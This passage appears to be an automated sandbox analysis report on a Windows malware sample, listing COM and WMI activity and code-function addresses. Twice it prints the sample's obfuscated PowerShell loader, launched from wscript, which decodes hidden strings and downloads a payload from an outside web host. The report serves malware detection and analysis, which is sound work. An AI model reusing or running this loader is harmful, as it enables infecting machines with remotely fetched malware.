Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{13709620-C279-11CE-A49E-444553540000}	Jump to behavior

Writes or reads registry keys via WMI

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.Bai
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.Bai			Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF93686AB26	3_2_00007FF93686AB26
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF93686B8D2	3_2_00007FF93686B8D2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF936939EFA	3_2_00007FF936939EFA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF93693A70A	3_2_00007FF93693A70A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF936932D29	3_2_00007FF936932D29
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20651850	15_2_20651850
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065CDC0	15_2_2065CDC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20652A90	15_2_20652A90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20651FA8	15_2_20651FA8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20651841	15_2_20651841
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20650040	15_2_20650040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20659448	15_2_20659448
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065EC28	15_2_2065EC28
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20650013	15_2_20650013
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065EC18	15_2_2065EC18
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20658CC0	15_2_20658CC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065F4C8	15_2_2065F4C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065F4D8	15_2_2065F4D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065F080	15_2_2065F080
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20655148	15_2_20655148
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065F925	15_2_2065F925
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065F930	15_2_2065F930
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20659D38	15_2_20659D38
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065CDAF	15_2_2065CDAF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065D660	15_2_2065D660
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20659668	15_2_20659668
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065D670	15_2_2065D670
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065D208	15_2_2065D208
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065D218	15_2_2065D218
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065DAC7	15_2_2065DAC7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065DAC8	15_2_2065DAC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065E371	15_2_2065E371
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065E378	15_2_2065E378
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065DF20	15_2_2065DF20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20650B20	15_2_20650B20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20650B30	15_2_20650B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065DF11	15_2_2065DF11
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065E7CF	15_2_2065E7CF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2065E7D0	15_2_2065E7D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20651FA3	15_2_20651FA3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20677D78	15_2_20677D78
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20678B58	15_2_20678B58
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20677720	15_2_20677720
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067AB80	15_2_2067AB80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20673460	15_2_20673460
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067C269	15_2_2067C269
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067F068	15_2_2067F068
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20674A68	15_2_20674A68
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20676E72	15_2_20676E72
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20676E70	15_2_20676E70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20674A78	15_2_20674A78
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067C278	15_2_2067C278
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20679478	15_2_20679478
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067A241	15_2_2067A241
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20670040	15_2_20670040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067D040	15_2_2067D040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20671A40	15_2_20671A40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20671A50	15_2_20671A50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067A250	15_2_2067A250
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067F058	15_2_2067F058
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20674620	15_2_20674620
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20676030	15_2_20676030
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067D030	15_2_2067D030
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20673008	15_2_20673008
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067DE08	15_2_2067DE08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067B008	15_2_2067B008
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20676A1A	15_2_20676A1A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20676A18	15_2_20676A18
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067B018	15_2_2067B018
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067A6E8	15_2_2067A6E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067F4F1	15_2_2067F4F1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206708F0	15_2_206708F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206722F0	15_2_206722F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206772CA	15_2_206772CA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206772C8	15_2_206772C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067D4C8	15_2_2067D4C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20674ED0	15_2_20674ED0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067D4D8	15_2_2067D4D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067A6D8	15_2_2067A6D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067E2A0	15_2_2067E2A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067B4A0	15_2_2067B4A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20671EA8	15_2_20671EA8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067B4B0	15_2_2067B4B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20679488	15_2_20679488
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067E291	15_2_2067E291
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20670498	15_2_20670498
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20671E98	15_2_20671E98
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067D961	15_2_2067D961
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20675772	15_2_20675772
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067AB71	15_2_2067AB71
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067D970	15_2_2067D970
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20670D47	15_2_20670D47
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20678B49	15_2_20678B49
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20670D48	15_2_20670D48
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067B948	15_2_2067B948
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20672748	15_2_20672748
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067F948	15_2_2067F948
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20672758	15_2_20672758
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067F958	15_2_2067F958
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20679920	15_2_20679920
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20675328	15_2_20675328
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067E728	15_2_2067E728
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067E738	15_2_2067E738
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067B938	15_2_2067B938
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067C705	15_2_2067C705
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20672300	15_2_20672300
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067F500	15_2_2067F500
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20677711	15_2_20677711
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067C710	15_2_2067C710
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20679910	15_2_20679910
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20675318	15_2_20675318
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067BDE0	15_2_2067BDE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20678FE0	15_2_20678FE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206715F7	15_2_206715F7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20678FF0	15_2_20678FF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067DDF9	15_2_2067DDF9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206715F8	15_2_206715F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20672FF8	15_2_20672FF8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067EBC1	15_2_2067EBC1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206765C0	15_2_206765C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20675BCC	15_2_20675BCC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206741CA	15_2_206741CA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206741C8	15_2_206741C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067BDD4	15_2_2067BDD4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067EBD0	15_2_2067EBD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20675BD8	15_2_20675BD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20672BA1	15_2_20672BA1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206711A0	15_2_206711A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206765AF	15_2_206765AF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20679DAC	15_2_20679DAC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067CBA8	15_2_2067CBA8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20672BB0	15_2_20672BB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20679DB8	15_2_20679DB8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20675780	15_2_20675780
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20671190	15_2_20671190
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2067CB99	15_2_2067CB99
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20694348	15_2_20694348
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20694810	15_2_20694810
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20693BF8	15_2_20693BF8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069F8F8	15_2_2069F8F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20692068	15_2_20692068
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20695668	15_2_20695668
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069EF68	15_2_2069EF68
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20693760	15_2_20693760
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069C460	15_2_2069C460
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20690960	15_2_20690960
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20698160	15_2_20698160
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069AC67	15_2_2069AC67
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069AC78	15_2_2069AC78
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069D771	15_2_2069D771
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20690970	15_2_20690970
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20698170	15_2_20698170
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20696977	15_2_20696977
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069DC48	15_2_2069DC48
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20699948	15_2_20699948
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20690040	15_2_20690040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069B140	15_2_2069B140
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20699958	15_2_20699958
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20692058	15_2_20692058
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20695658	15_2_20695658
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069C458	15_2_2069C458
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069EF58	15_2_2069EF58
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20696E50	15_2_20696E50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20693752	15_2_20693752
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20691729	15_2_20691729
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20698629	15_2_20698629
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069C928	15_2_2069C928
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069B12F	15_2_2069B12F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20699E20	15_2_20699E20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20695B20	15_2_20695B20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20692E22	15_2_20692E22
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069C924	15_2_2069C924
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20694339	15_2_20694339
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20691738	15_2_20691738
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20698638	15_2_20698638
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069DC38	15_2_2069DC38
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20696E3F	15_2_20696E3F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20692E30	15_2_20692E30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20695B30	15_2_20695B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069F430	15_2_2069F430
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20690E08	15_2_20690E08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069B608	15_2_2069B608
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20692500	15_2_20692500
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20698B00	15_2_20698B00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069E102	15_2_2069E102
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20697307	15_2_20697307
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20697318	15_2_20697318
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069F41F	15_2_2069F41F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20690011	15_2_20690011
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069E110	15_2_2069E110
